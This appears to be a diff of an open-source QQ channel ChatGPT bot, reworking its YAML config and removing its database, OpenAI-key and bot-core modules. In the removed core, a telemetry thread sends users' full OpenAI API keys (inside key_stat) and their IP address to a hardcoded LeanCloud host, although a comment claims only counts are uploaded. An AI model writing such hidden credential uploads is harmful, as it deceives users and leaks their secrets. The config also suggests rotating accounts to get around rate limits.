-2022-12-08 21:41:56,705	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None
-2022-12-08 21:42:55,625	[INFO]	(client.py:159)_bot_login	[botpy] 登录机器人账号中...
-2022-12-08 21:42:56,278	[INFO]	(client.py:178)_bot_init	[botpy] 程序启动...
-2022-12-08 21:42:56,279	[INFO]	(connection.py:59)multi_run	[botpy] 最大并发连接数: 1, 启动会话数: 1
-2022-12-08 21:42:56,280	[INFO]	(client.py:236)bot_connect	[botpy] 会话启动中...
-2022-12-08 21:42:56,281	[INFO]	(gateway.py:110)ws_connect	[botpy] 启动中...
-2022-12-08 21:42:56,718	[INFO]	(gateway.py:136)ws_identify	[botpy] 鉴权中...
-2022-12-08 21:42:56,819	[INFO]	(gateway.py:80)on_message	[botpy] 机器人「SoGPT-测试中」启动成功！
-2022-12-08 21:42:56,820	[INFO]	(gateway.py:217)_send_heart	[botpy] 心跳维持启动...
-2022-12-08 21:43:09,794	[ERROR]	(http.py:73)_handle_response	[botpy] 接口请求异常，请求连接: https://api.sgroup.qq.com/channels/7150658/messages, 错误代码: 501, 返回内容: None, trace_id:None

configs/config.yaml

@@ -1,29 +1,137 @@
-openai:
-  # 注意：在1.7版本已支持多key自动切换，方法：
-  # key:
-  #   - xxxxx
-  #   - xxxxxx
-  # 在下方非注释的地方使用以上格式
-  key: 
-    - 
-  chatGPTConfigs:
-    engine: text-davinci-003
-    max_tokens: 800
-    temperature: 0.8
-    top_p: 1
-    frequency_penalty: 0.4
-    presence_penalty: 0.3
-  total_tokens_limit: 700
+# 如果你不知道怎么部署，请查看https://soulter.top/posts/qpdg.html
+# 不一定需要key了，如果你没有key但有openAI账号或者必应账号，可以考虑使用下面的逆向库
 
+
+###############平台设置#################
+
+# QQ频道机器人
+# QQ开放平台的appid和令牌
+# q.qq.com
+# enable为true则启用，false则不启用
 qqbot:
+  enable: true
   appid: 
   token: 
 
+# QQ机器人
+# enable为true则启用，false则不启用
+# 需要安装GO-CQHTTP配合使用。
+# 文档：https://docs.go-cqhttp.org/
+# 请将go-cqhttp的配置文件的sever部分粘贴为以下内容，否则无法使用
+# 请先启动go-cqhttp再启动本程序
+# 
+# servers:
+#   - http:
+#       host: 127.0.0.1
+#       version: 0
+#       port: 5700
+#       timeout: 5
+#   - ws:
+#       address: 127.0.0.1:6700
+#       middlewares:
+#         <<: *default
+gocqbot:
+  enable: false
+
 # 设置是否一个人一个会话
 uniqueSessionMode: false
-
-# QChannelBot 的版本
-version: 1.7 beta
-
+# QChannelBot 的版本，请勿修改此字段，否则可能产生一些bug
+version: 3.0
 # [Beta] 转储历史记录时间间隔(分钟)
-dump_history_interval: 10
+dump_history_interval: 10
+# 一个用户只能在time秒内发送count条消息
+limit:
+  time: 60
+  count: 5
+# 公告
+notice: "此机器人由Github项目QQChannelChatGPT驱动。"
+# 是否打开私信功能
+# 设置为true则频道成员可以私聊机器人。
+# 设置为false则频道成员不能私聊机器人。
+direct_message_mode: true
+
+# 系统代理
+# http_proxy: http://localhost:7890
+# https_proxy: http://localhost:7890
+
+# 自定义回复前缀，如[Rev]或其他，务必加引号以防止不必要的bug。
+reply_prefix:
+  openai_official: "[GPT]"
+  rev_chatgpt: "[Rev]"
+  rev_edgegpt: "[RevBing]"
+
+# 百度内容审核服务
+# 新用户免费5万次调用。https://cloud.baidu.com/doc/ANTIPORN/index.html
+baidu_aip:
+  enable: false
+  app_id: 
+  api_key: 
+  secret_key: 
+
+
+
+
+###############语言模型设置#################
+
+
+# OpenAI官方API
+# 注意：已支持多key自动切换，方法：
+# key:
+#   - sk-xxxxxx
+#   - sk-xxxxxx
+# 在下方非注释的地方使用以上格式
+# 关于api_base：可以使用一些云函数（如腾讯、阿里）来避免国内被墙的问题。
+# 详见：
+# https://github.com/Ice-Hazymoon/openai-scf-proxy
+# https://github.com/Soulter/QQChannelChatGPT/issues/42
+# 设置为none则表示使用官方默认api地址
+openai:
+  key: 
+    - 
+  api_base: none
+  # 这里是GPT配置，语言模型默认使用gpt-3.5-turbo
+  chatGPTConfigs:
+    model: gpt-3.5-turbo
+    max_tokens: 3000
+    temperature: 0.9
+    top_p: 1
+    frequency_penalty: 0
+    presence_penalty: 0
+    
+  total_tokens_limit: 5000
+
+# 逆向文心一言【暂时不可用，请勿使用】
+rev_ernie:
+  enable: false
+
+# 逆向New Bing
+# 需要在项目根目录下创建cookies.json并粘贴cookies进去。
+# 详见：https://soulter.top/posts/qpdg.html
+rev_edgegpt:
+  enable: false
+
+# 逆向ChatGPT库
+# https://github.com/acheong08/ChatGPT
+# 优点：免费（无免费额度限制）；
+# 缺点：速度相对慢。OpenAI 速率限制：免费帐户每小时 50 个请求。您可以通过多帐户循环来绕过它
+# enable设置为true后，将会停止使用上面正常的官方API调用而使用本逆向项目
+#
+# 多账户可以保证每个请求都能得到及时的回复。
+# 关于account的格式
+# account:
+#   - email: 第1个账户
+#     password: 第1个账户密码
+#   - email: 第2个账户
+#     password: 第2个账户密码
+#   - ....
+# 支持使用access_token登录
+# 例：
+# - session_token: xxxxx
+# - access_token: xxxx
+# 请严格按照上面这个格式填写。
+# 逆向ChatGPT库的email-password登录方式不工作，建议使用access_token登录
+# 获取access_token的方法，详见：https://soulter.top/posts/qpdg.html
+rev_ChatGPT:
+  enable: false
+  account:
+    - access_token: 

cores/database/conn.py

@@ -1,86 +0,0 @@
-import sqlite3
-import yaml
-
-# TODO: 数据库缓存prompt
-
-class dbConn():
-    def __init__(self):
-        # 读取参数,并支持中文
-        conn = sqlite3.connect("data.db")
-        conn.text_factory=str
-        self.conn = conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            CREATE TABLE IF NOT EXISTS tb_session(
-                qq_id   VARCHAR(32) PRIMARY KEY,
-                history TEXT
-            )
-            '''
-        )
-        
-        conn.commit()
-
-    def insert_session(self, qq_id, history):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            INSERT INTO tb_session(qq_id, history) VALUES (?, ?)
-            ''', (qq_id, history)
-        )
-        conn.commit()
-
-    def update_session(self, qq_id, history):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            UPDATE tb_session SET history = ? WHERE qq_id = ?
-            ''', (history, qq_id)
-        )
-        conn.commit()
-
-    def get_session(self, qq_id):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            SELECT * FROM tb_session WHERE qq_id = ?
-            ''', (qq_id, )
-        )
-        return c.fetchone()
-    
-    def get_all_session(self):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            SELECT * FROM tb_session
-            '''
-        )
-        return c.fetchall()
-    
-    def check_session(self, qq_id):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            SELECT * FROM tb_session WHERE qq_id = ?
-            ''', (qq_id, )
-        )
-        return c.fetchone() is not None
-
-    def delete_session(self, qq_id):
-        conn = self.conn
-        c = conn.cursor()
-        c.execute(
-            '''
-            DELETE FROM tb_session WHERE qq_id = ?
-            ''', (qq_id, )
-        )
-        conn.commit()
-
-    def close(self):
-        self.conn.close()
-    

cores/openai/core.py

@@ -1,169 +0,0 @@
-import openai
-import yaml
-from util.errors.errors import PromptExceededError
-import json
-import time
-import os
-import sys
-
-inst = None
-# 适配pyinstaller
-abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
-key_record_path = abs_path+'chatgpt_key_record'
-
-class ChatGPT:
-    def __init__(self):
-        self.key_list = []
-        with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
-            cfg = yaml.safe_load(ymlfile)
-            if cfg['openai']['key'] != '' or cfg['openai']['key'] != '修改我！！':
-                print("读取ChatGPT Key成功")
-                self.key_list = cfg['openai']['key']
-                # openai.api_key = cfg['openai']['key']
-            else:
-                input("请先去完善ChatGPT的Key。详情请前往https://beta.openai.com/account/api-keys")
-        
-        # init key record
-        self.init_key_record()
-
-        chatGPT_configs = cfg['openai']['chatGPTConfigs']
-        print(f'加载ChatGPTConfigs: {chatGPT_configs}')
-        self.chatGPT_configs = chatGPT_configs
-        self.openai_configs = cfg['openai']
-    
-    def chat(self, prompt, image_mode = False):
-        try:
-            if not image_mode:
-                response = openai.Completion.create(
-                    prompt=prompt,
-                    **self.chatGPT_configs
-                )
-            else:
-                response = openai.Image.create(
-                    prompt=prompt,
-                    n=1,
-                    size="512x512",
-                )
-        except Exception as e:
-            print(e)
-            if 'You exceeded' in str(e) or 'Billing hard limit has been reached' in str(e) or 'No API key provided.' in str(e):
-                print("当前Key已超额,正在切换")
-                self.key_stat[openai.api_key]['exceed'] = True
-                self.save_key_record()
-
-                response, is_switched = self.handle_switch_key(prompt)
-                if not is_switched:
-                    # 所有Key都超额
-                    raise e
-            else:
-                if not image_mode:
-                    response = openai.Completion.create(
-                        prompt=prompt,
-                        **self.chatGPT_configs
-                    )
-                else:
-                    response = openai.Image.create(
-                        prompt=prompt,
-                        n=1,
-                        size="512x512",
-                    )
-        if not image_mode:
-            self.key_stat[openai.api_key]['used'] += response['usage']['total_tokens']
-            self.save_key_record()
-            print("[ChatGPT] "+str(response["choices"][0]["text"]))
-            return str(response["choices"][0]["text"]).strip(), response['usage']['total_tokens']
-        else:
-            return response['data'][0]['url']
-            
-    def handle_switch_key(self, prompt):
-        while True:
-            is_all_exceed = True
-            for key in self.key_stat:
-                if not self.key_stat[key]['exceed']:
-                    is_all_exceed = False
-                    openai.api_key = key
-                    print(f"切换到Key: {key}, 已使用token: {self.key_stat[key]['used']}")
-                    if prompt != '':
-                        try:
-                            response = openai.Completion.create(
-                                prompt=prompt,
-                                **self.chatGPT_configs
-                            )
-                            return response, True
-                        except Exception as e:
-                            print(e)
-                            if 'You exceeded' in str(e):
-                                print("当前Key已超额,正在切换")
-                                self.key_stat[openai.api_key]['exceed'] = True
-                                self.save_key_record()
-                                time.sleep(1)
-                                continue
-                    else:
-                        return True
-            if is_all_exceed:
-                print("所有Key已超额")
-                return None, False
-                
-    def getConfigs(self):
-        return self.openai_configs
-    
-    def save_key_record(self):
-        with open(key_record_path, 'w', encoding='utf-8') as f:
-            json.dump(self.key_stat, f)
-
-    def get_key_stat(self):
-        return self.key_stat
-    def get_key_list(self):
-        return self.key_list
-    
-    # 添加key
-    def append_key(self, key, sponsor):
-        self.key_list.append(key)
-        self.key_stat[key] = {'exceed': False, 'used': 0, 'sponsor': sponsor}
-        self.save_key_record()
-        self.init_key_record()
-    # 检查key是否可用
-    def check_key(self, key):
-        pre_key = openai.api_key
-        openai.api_key = key
-        try:
-            openai.Completion.create(
-                prompt="1",
-                **self.chatGPT_configs
-            )
-            openai.api_key = pre_key
-            return True
-        except Exception as e:
-            pass
-        openai.api_key = pre_key
-        return False
-
-    #将key_list的key转储到key_record中，并记录相关数据
-    def init_key_record(self):
-        if not os.path.exists(key_record_path):
-            with open(key_record_path, 'w', encoding='utf-8') as f:
-                json.dump({}, f)
-        with open(key_record_path, 'r', encoding='utf-8') as keyfile:
-            try:
-                self.key_stat = json.load(keyfile)
-            except Exception as e:
-                print(e)
-                self.key_stat = {}
-            finally:
-                for key in self.key_list:
-                    if key not in self.key_stat:
-                        self.key_stat[key] = {'exceed': False, 'used': 0}
-                        # if openai.api_key is None:
-                        #     openai.api_key = key
-                    else:
-                        # if self.key_stat[key]['exceed']:
-                        #     print(f"Key: {key} 已超额")
-                        #     continue
-                        # else:
-                        #     if openai.api_key is None:
-                        #         openai.api_key = key
-                        #         print(f"使用Key: {key}, 已使用token: {self.key_stat[key]['used']}")
-                        pass
-                if openai.api_key == None:
-                    self.handle_switch_key("")
-            self.save_key_record()

cores/qqbot/core.py

@@ -1,673 +0,0 @@
-import botpy
-from botpy.message import Message
-import yaml
-import re
-from util.errors.errors import PromptExceededError
-from botpy.message import DirectMessage
-import json
-import threading
-import asyncio
-import time
-from cores.database.conn import dbConn
-import requests
-import util.unfit_words as uw
-import os
-import sys
-from cores.qqbot.personality import personalities
-
-history_dump_interval = 10
-# QQBotClient实例
-client = ''
-# ChatGPT实例
-global chatgpt
-# 缓存的会话
-session_dict = {}
-# 最大缓存token（在配置里改 configs/config.yaml）
-max_tokens = 2000
-# 配置信息
-config = {}
-# 统计信息
-count = {}
-# 统计信息
-stat_file = ''
-# 是否独立会话默认值
-uniqueSession = False
-
-# 日志记录
-logf = open('log.log', 'a+', encoding='utf-8')
-# 是否上传日志,仅上传频道数量等数量的统计信息
-is_upload_log = True
-
-# 用户发言频率
-user_frequency = {}
-# 时间默认值
-frequency_time = 60
-# 计数默认值
-frequency_count = 2
-
-# 公告（可自定义）：
-announcement = ""
-
-# 人格信息
-now_personality = {}
-
-# 适配pyinstaller
-abs_path = os.path.dirname(os.path.realpath(sys.argv[0])) + '/'
-
-def new_sub_thread(func, args=()):
-    thread = threading.Thread(target=func, args=args, daemon=True)
-    thread.start() 
-
-class botClient(botpy.Client):
-    # 收到At消息
-    async def on_at_message_create(self, message: Message):
-        toggle_count(at=True, message=message)
-        # executor.submit(oper_msg, message, True)
-        new_sub_thread(oper_msg, (message, True))
-        # await oper_msg(message=message, at=True)
-
-    # 收到私聊消息
-    async def on_direct_message_create(self, message: DirectMessage):
-        toggle_count(at=False, message=message)
-        # executor.submit(oper_msg, message, True)
-        # await oper_msg(message=message, at=False)
-        new_sub_thread(oper_msg, (message, False))
-
-# 写入统计信息
-def toggle_count(at: bool, message):
-    global stat_file
-    try: 
-        if str(message.guild_id) not in count:
-            count[str(message.guild_id)] = {
-                'count': 1,
-                'direct_count': 1,
-            }
-        else:
-            count[str(message.guild_id)]['count'] += 1
-            if not at:
-                count[str(message.guild_id)]['direct_count'] += 1
-        stat_file = open(abs_path+"configs/stat", 'w', encoding='utf-8')
-        stat_file.write(json.dumps(count))
-        stat_file.flush()
-        stat_file.close()
-    except BaseException:
-        pass
-
-# 转储历史记录的定时器~ Soulter
-def dump_history():
-    time.sleep(10)
-    global session_dict, history_dump_interval
-    db = dbConn()
-    while True:
-        try:
-            # print("转储历史记录...")
-            for key in session_dict:
-                # print("TEST: "+str(db.get_session(key)))
-                data = session_dict[key]
-                data_json = {
-                    'data': data
-                }
-                if db.check_session(key):
-                    db.update_session(key, json.dumps(data_json))
-                else:
-                    db.insert_session(key, json.dumps(data_json))
-            # print("转储历史记录完毕")
-        except BaseException as e:
-            print(e)
-        # 每隔10分钟转储一次
-        time.sleep(10*history_dump_interval)
-
-# 上传统计信息
-def upload():
-    global object_id
-    while True:
-        addr = ''
-        try:
-            # 用户唯一性标识
-            addr = requests.get('http://myip.ipip.net', timeout=5).text
-        except BaseException:
-            pass
-        try:
-            ts = str(time.time())
-            guild_count, guild_msg_count, guild_direct_msg_count, session_count = get_stat()
-            headers = {
-                'X-LC-Id': 'UqfXTWW15nB7iMT0OHvYrDFb-gzGzoHsz',
-                'X-LC-Key': 'QAZ1rQLY1ZufHrZlpuUiNff7',
-                'Content-Type': 'application/json'
-            }
-            key_stat = chatgpt.get_key_stat()
-            d = {"data": {"guild_count": guild_count, "guild_msg_count": guild_msg_count, "guild_direct_msg_count": guild_direct_msg_count, "session_count": session_count, 'addr': addr, 'winver': '2.21', 'key_stat':key_stat}}
-            d = json.dumps(d).encode("utf-8")
-            res = requests.put(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record/{object_id}', headers = headers, data = d)
-            if json.loads(res.text)['code'] == 1:
-                print("[System] New User.")
-                res = requests.post(f'https://uqfxtww1.lc-cn-n1-shared.com/1.1/classes/bot_record', headers = headers, data = d)
-                object_id = json.loads(res.text)['objectId']
-                object_id_file = open(abs_path+"configs/object_id", 'w+', encoding='utf-8')
-                object_id_file.write(str(object_id))
-                object_id_file.flush()
-                object_id_file.close()
-        except BaseException as e:
-            pass
-        # 每隔2小时上传一次
-        time.sleep(60*60*2)
-
-'''
-初始化机器人
-'''
-def initBot(chatgpt_inst):
-    global chatgpt
-    chatgpt = chatgpt_inst
-    global max_tokens
-    max_tokens = int(chatgpt_inst.getConfigs()['total_tokens_limit'])
-    global now_personality
-
-
-    # 读取历史记录 Soulter
-    try:
-        db1 = dbConn()
-        for session in db1.get_all_session():
-            session_dict[session[0]] = json.loads(session[1])['data']
-        print("[System] 历史记录读取成功喵")
-    except BaseException as e:
-        print("[System] 历史记录读取失败: " + str(e))
-
-    # 读统计信息
-    global stat_file
-    if not os.path.exists(abs_path+"configs/stat"):
-        with open(abs_path+"configs/stat", 'w', encoding='utf-8') as f:
-                json.dump({}, f)
-    stat_file = open(abs_path+"configs/stat", 'r', encoding='utf-8')
-    global count
-    res = stat_file.read()
-    if res == '':
-        count = {}
-    else:
-        try: 
-            count = json.loads(res)
-        except BaseException:
-            pass
-    # 创建转储定时器线程
-    threading.Thread(target=dump_history, daemon=True).start()
-
-    if is_upload_log:
-        # 读取object_id
-        global object_id
-        if not os.path.exists(abs_path+"configs/object_id"):
-            with open(abs_path+"configs/object_id", 'w', encoding='utf-8') as f:
-                f.write("")
-        object_id_file = open(abs_path+"configs/object_id", 'r', encoding='utf-8')
-        object_id = object_id_file.read()
-        object_id_file.close()
-        # 创建上传定时器线程
-        threading.Thread(target=upload, daemon=True).start()
-
-    global config, uniqueSession, history_dump_interval, frequency_count, frequency_time,announcement
-    with open(abs_path+"configs/config.yaml", 'r', encoding='utf-8') as ymlfile:
-        cfg = yaml.safe_load(ymlfile)
-        config = cfg
-
-        # 得到发言频率配置
-        if 'limit' in cfg:
-            print('[System] 发言频率配置: '+str(cfg['limit']))
-            if 'count' in cfg['limit']:
-                frequency_count = cfg['limit']['count']
-            if 'time' in cfg['limit']:
-                frequency_time = cfg['limit']['time']
-        
-        announcement += '[QQChannelChatGPT项目]\n所有回答与腾讯公司无关。出现问题请前往[ChatGPT机器人]官方频道\n\n'
-        # 得到公告配置
-        if 'notice' in cfg:
-            print('[System] 公告配置: '+cfg['notice'])
-            announcement += cfg['notice']
-        try:
-            if 'uniqueSessionMode' in cfg and cfg['uniqueSessionMode']:
-                uniqueSession = True
-            else:
-                uniqueSession = False
-            print("[System] 独立会话: " + str(uniqueSession))
-            if 'dump_history_interval' in cfg:
-                history_dump_interval = int(cfg['dump_history_interval'])
-                print("[System] 历史记录转储时间周期: " + str(history_dump_interval) + "分钟")
-        except BaseException:
-            print("[System-Error] 读取uniqueSessionMode/version/dump_history_interval配置文件失败, 使用默认值。")
-
-        print(f"[System] QQ开放平台AppID: {cfg['qqbot']['appid']} 令牌: {cfg['qqbot']['token']}")
-
-        print("[System] 如果有任何问题，请在https://github.com/Soulter/QQChannelChatGPT上提交issue说明问题！或者添加QQ：905617992\n")
-        try:
-            run_bot(cfg['qqbot']['appid'], cfg['qqbot']['token'])
-        except BaseException as e:
-            input(f"\n[System-Error] 启动QQ机器人时出现错误，原因如下：{e}\n可能是没有填写QQBOT appid和token？请在config中完善你的appid和token\n配置教程：https://soulter.top/posts/qpdg.html\n")
-        
-'''
-启动机器人
-'''
-def run_bot(appid, token):
-    intents = botpy.Intents(public_guild_messages=True, direct_message=True) 
-    global client
-    client = botClient(intents=intents)
-    client.run(appid=appid, token=token)
-
-'''
-得到OpenAI的回复
-'''
-def get_chatGPT_response(prompts_str, image_mode=False):
-    res = ''
-    usage = ''
-    if not image_mode:
-        res, usage = chatgpt.chat(prompts_str)
-        # 处理结果文本
-        chatgpt_res = res.strip()
-        return res, usage
-    else:
-        res = chatgpt.chat(prompts_str, image_mode = True)
-        return res
-
-'''
-回复QQ消息
-'''
-def send_qq_msg(message, res, image_mode=False):
-    if not image_mode:
-        try:
-            asyncio.run_coroutine_threadsafe(message.reply(content=res), client.loop)
-        except BaseException as e:
-            raise e
-    else:
-        asyncio.run_coroutine_threadsafe(message.reply(image=res, content=""), client.loop)
-
-
-'''
-获取缓存的会话
-'''
-def get_prompts_by_cache_list(cache_data_list, divide=False, paging=False, size=5, page=1):
-    prompts = ""
-    if paging:
-        page_begin = (page-1)*size
-        page_end = page*size
-        if page_begin < 0:
-            page_begin = 0
-        if page_end > len(cache_data_list):
-            page_end = len(cache_data_list)
-        cache_data_list = cache_data_list[page_begin:page_end]
-    for item in cache_data_list:
-        prompts += str(item['prompt'])
-        if divide:
-            prompts += "----------\n"
-    return prompts
-    
-def get_user_usage_tokens(cache_list):
-    usage_tokens = 0
-    for item in cache_list:
-        usage_tokens += int(item['single_tokens'])
-    return usage_tokens
-
-'''
-检查发言频率
-'''
-def check_frequency(id) -> bool:
-    ts = int(time.time())
-    if id in user_frequency:
-        if ts-user_frequency[id]['time'] > frequency_time:
-            user_frequency[id]['time'] = ts
-            user_frequency[id]['count'] = 1
-            return True
-        else:
-            if user_frequency[id]['count'] >= frequency_count:
-                return False
-            else:
-                user_frequency[id]['count']+=1
-                return True
-    else:
-        t = {'time':ts,'count':1}
-        user_frequency[id] = t
-        return True
-
-'''
-处理消息
-'''
-def oper_msg(message, at=False, loop=None):
-    global session_dict
-    print("[QQBOT] 接收到消息："+ str(message.content))
-    qq_msg = ''
-    session_id = ''
-    name = ''
-    user_id = message.author.id
-    user_name = message.author.username
-    
-    # 检查发言频率
-    if not check_frequency(user_id):
-        send_qq_msg(message, f'{user_name}的发言超过频率限制(╯▔皿▔)╯。\n{frequency_time}秒内只能提问{frequency_count}次。')
-        return
-
-    logf.write("[QQBOT] "+ str(message.content)+'\n')
-    logf.flush()
-
-    if at:
-        qq_msg = message.content
-        lines = qq_msg.splitlines()
-        for i in range(len(lines)):
-            lines[i] = re.sub(r"<@!\d+>", "", lines[i])
-        qq_msg = "\n".join(lines).lstrip().strip()
-
-        if uniqueSession:
-            session_id = user_id
-        else:
-            session_id = message.channel_id
-    else:
-        qq_msg = message.content
-        session_id = user_id
-        
-    if uniqueSession:
-        name = user_name
-    else:
-        name = "频道"
-
-    command_type = -1
-    # 特殊指令
-    if qq_msg == "/继续":
-        qq_msg = "继续"
-    # 普通指令
-    else:
-        # 如果第一个字符是/，则为指令
-        if qq_msg[0] == "/":
-            res, go, command_type = command_oper(qq_msg, message, session_id, name, user_id, user_name, at)
-            send_qq_msg(message, res)
-            if not go:
-                return
-    if command_type == 1 and 'prompt' in now_personality:
-        # 设置人格
-        qq_msg = now_personality['prompt']
- 
-    # if qq_msg[0:6] == '/draw ':
-    #     # TODO 未完全实现
-    #     prompt = qq_msg[6:]
-    #     url = get_chatGPT_response(prompt, image_mode = True)
-    #     resp = requests.get(url)
-    #     filename = './images/' + str(int(time.time())) + '.jpg'
-    #     print(url)
-    #     with open(filename, 'wb') as f:
-    #         f.write(resp.content)
-    #     qiniu_url = cores.database.qiniu.put_img(filename)
-    #     print(qiniu_url)
-    #     send_qq_msg(message, qiniu_url, image_mode=True)
-    #     return
-
-    # 这里是预设，你可以按需更改
-    if qq_msg.strip() == 'hello' or qq_msg.strip() == '你好' or qq_msg.strip() == '':
-        send_qq_msg(message, f"你好呀~")
-        return
-    # if qq_msg.strip() == '傻逼' or qq_msg.strip() == 'sb':
-    #     send_qq_msg(message, f"好好好")
-    #     return
-    # if '喜多' in qq_msg:
-    #     send_qq_msg(message, 'http://rn2ztkeap.hn-bkt.clouddn.com/xd1.gif', True)
-    # if '台湾' in qq_msg or 'taiwan' in qq_msg:
-    #     send_qq_msg(message, "声明：台湾是中国的一部分。\n下面否定此结论的回答全部无效。")
-    
-    # 拦截不合适的词请求
-    for i in uw.unfit_words_q:
-        if i in qq_msg.strip():
-            send_qq_msg(message, f"你的提问中有不太合适的内容😭\n请更换措辞~")
-            return
-
-    if session_id not in session_dict:
-        session_dict[session_id] = []
-
-        fjson = {}
-        try:
-            f = open(abs_path+"configs/session", "r", encoding="utf-8")
-            fjson = json.loads(f.read())
-            f.close()
-        except:
-            pass
-        finally:
-            fjson[session_id] = 'true'
-            f = open(abs_path+"configs/session", "w", encoding="utf-8")
-            f.write(json.dumps(fjson))
-            f.flush()
-            f.close()
-
-    # 获取缓存
-    cache_prompt = ''
-    cache_data_list = session_dict[session_id]
-    cache_prompt = get_prompts_by_cache_list(cache_data_list)
-    cache_prompt += "\nHuman: "+ qq_msg + "\nAI: "
-    # 请求chatGPT获得结果
-    try:
-        chatgpt_res, current_usage_tokens = get_chatGPT_response(prompts_str=cache_prompt)
-    except (PromptExceededError) as e:
-        print("token超限, 清空对应缓存")
-        session_dict[session_id] = []
-        cache_data_list = []
-        cache_prompt = "Human: "+ qq_msg + "\nAI: "
-        chatgpt_res, current_usage_tokens = get_chatGPT_response(prompts_str=cache_prompt)
-    except (BaseException) as e:
-        print("OpenAI API错误:(")
-        if 'exceeded' in str(e):
-            send_qq_msg(message, f"OpenAI API错误。原因：\n{str(e)} \n超额了。您可自己搭建一个机器人(Github仓库：QQChannelChatGPT)")
-        else:
-            send_qq_msg(message, f"OpenAI API错误。原因如下：\n{str(e)} \n前往官方频道反馈~")
-        return
-    
-    logf.write("[GPT] "+ str(chatgpt_res)+'\n')
-    logf.flush()
-
-    # 发送qq信息
-    try:
-        # 防止被qq频道过滤消息
-        gap_chatgpt_res = chatgpt_res.replace(".", " . ")
-        if '```' in gap_chatgpt_res:
-            chatgpt_res.replace('```', "")
-        # 过滤不合适的词
-        for i in uw.unfit_words:
-            if i in gap_chatgpt_res:
-                gap_chatgpt_res = gap_chatgpt_res.replace(i, "***")
-        # 发送信息
-        send_qq_msg(message, ''+gap_chatgpt_res)
-    except BaseException as e:
-        print("QQ频道API错误: \n"+str(e))
-        f_res = ""
-        for t in chatgpt_res:
-            f_res += t + ' '
-        try:
-            send_qq_msg(message, ''+f_res)
-            # send(message, f"QQ频道API错误：{str(e)}\n下面是格式化后的回答：\n{f_res}")
-        except BaseException as e:
-            # 如果还是不行则过滤url
-            f_res = re.sub(r'(https|http)?:\/\/(\w|\.|\/|\?|\=|\&|\%)*\b', '', f_res, flags=re.MULTILINE)
-            f_res = f_res.replace(".", "·")
-            send_qq_msg(message, ''+f_res)
-            # send(message, f"QQ频道API错误：{str(e)}\n下面是格式化后的回答：\n{f_res}")
-
-    # 超过指定tokens， 尽可能的保留最多的条目，直到小于max_tokens
-    if current_usage_tokens > max_tokens:
-        t = current_usage_tokens
-        index = 0
-        while t > max_tokens:
-            if index >= len(cache_data_list):
-                break
-            if cache_data_list[index]['level'] != 'max':
-                t -= int(cache_data_list[index]['single_tokens'])
-                del cache_data_list[index]
-            else:
-                index += 1
-        # 删除完后更新相关字段
-        session_dict[session_id] = cache_data_list
-        cache_prompt = get_prompts_by_cache_list(cache_data_list)
-
-    # 添加新条目进入缓存的prompt
-    if command_type == 1:
-        level = 'max'
-    else:
-        level = 'normal'
-    if len(cache_data_list) > 0: 
-        single_record = {
-            "prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n',
-            "usage_tokens": current_usage_tokens,
-            "single_tokens": current_usage_tokens - int(cache_data_list[-1]['usage_tokens']),
-            "level": level
-        }
-    else:
-        single_record = {
-            "prompt": f'Human: {qq_msg}\nAI: {chatgpt_res}\n',
-            "usage_tokens": current_usage_tokens,
-            "single_tokens": current_usage_tokens,
-            "level": level
-        }
-    cache_data_list.append(single_record)
-    session_dict[session_id] = cache_data_list
-
-'''
-获取统计信息
-'''
-def get_stat():
-    try:
-        f = open(abs_path+"configs/stat", "r", encoding="utf-8")
-        fjson = json.loads(f.read())
-        f.close()
-        guild_count = 0
-        guild_msg_count = 0
-        guild_direct_msg_count = 0
-
-        for k,v in fjson.items():
-            guild_count += 1
-            guild_msg_count += v['count']
-            guild_direct_msg_count += v['direct_count']
-        
-        session_count = 0
-
-        f = open(abs_path+"configs/session", "r", encoding="utf-8")
-        fjson = json.loads(f.read())
-        f.close()
-        for k,v in fjson.items():
-            session_count += 1
-        return guild_count, guild_msg_count, guild_direct_msg_count, session_count
-    except:
-        return -1, -1, -1, -1
-
-'''
-指令处理
-'''
-def command_oper(qq_msg, message, session_id, name, user_id, user_name, at):
-    go = False # 是否处理完指令后继续执行msg_oper后面的代码
-    msg = ''
-    global session_dict, now_personality
-
-    # 指令返回值，/set设置人格是1
-    type = -1
-    
-    # 指令控制
-    if qq_msg == "/reset" or qq_msg == "/重置":
-        msg = ''
-        session_dict[session_id] = []
-        if at:
-            msg = f"{name}(id: {session_id})的历史记录重置成功\n\n{announcement}"
-        else:
-            msg = f"你的历史记录重置成功"
-    
-    if qq_msg[:4] == "/his":
-        #分页，每页5条
-        msg = ''
-        size_per_page = 3
-        page = 1
-        if qq_msg[5:]:
-            page = int(qq_msg[5:])
-        # 检查是否有过历史记录
-        if session_id not in session_dict:
-            msg = f"{name} 的历史记录为空"
-        l = session_dict[session_id]
-        max_page = len(l)//size_per_page + 1 if len(l)%size_per_page != 0 else len(l)//size_per_page
-        p = get_prompts_by_cache_list(session_dict[session_id], divide=True, paging=True, size=size_per_page, page=page)
-        if at:
-            msg=f"{name}的历史记录如下：\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页"
-        else:
-            msg=f"历史记录如下：\n{p}\n第{page}页 | 共{max_page}页\n*输入/his 2跳转到第2页\n\n{announcement}"
-    
-    if qq_msg == "/token":
-        msg = ''
-        if at:
-            msg=f"{name} 会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}"
-        else:
-            msg=f"会话的token数: {get_user_usage_tokens(session_dict[session_id])}\n系统最大缓存token数: {max_tokens}"
-    
-    if qq_msg == "/status" or qq_msg == "/状态":
-        chatgpt_cfg_str = ""
-        key_stat = chatgpt.get_key_stat()
-        key_list = chatgpt.get_key_list()
-        index = 1
-        max = 900000
-        gg_count = 0
-        total = 0
-        tag = ''
-        for key in key_stat.keys():
-            sponsor = ''
-            total += key_stat[key]['used']
-            if key_stat[key]['exceed']:
-                gg_count += 1
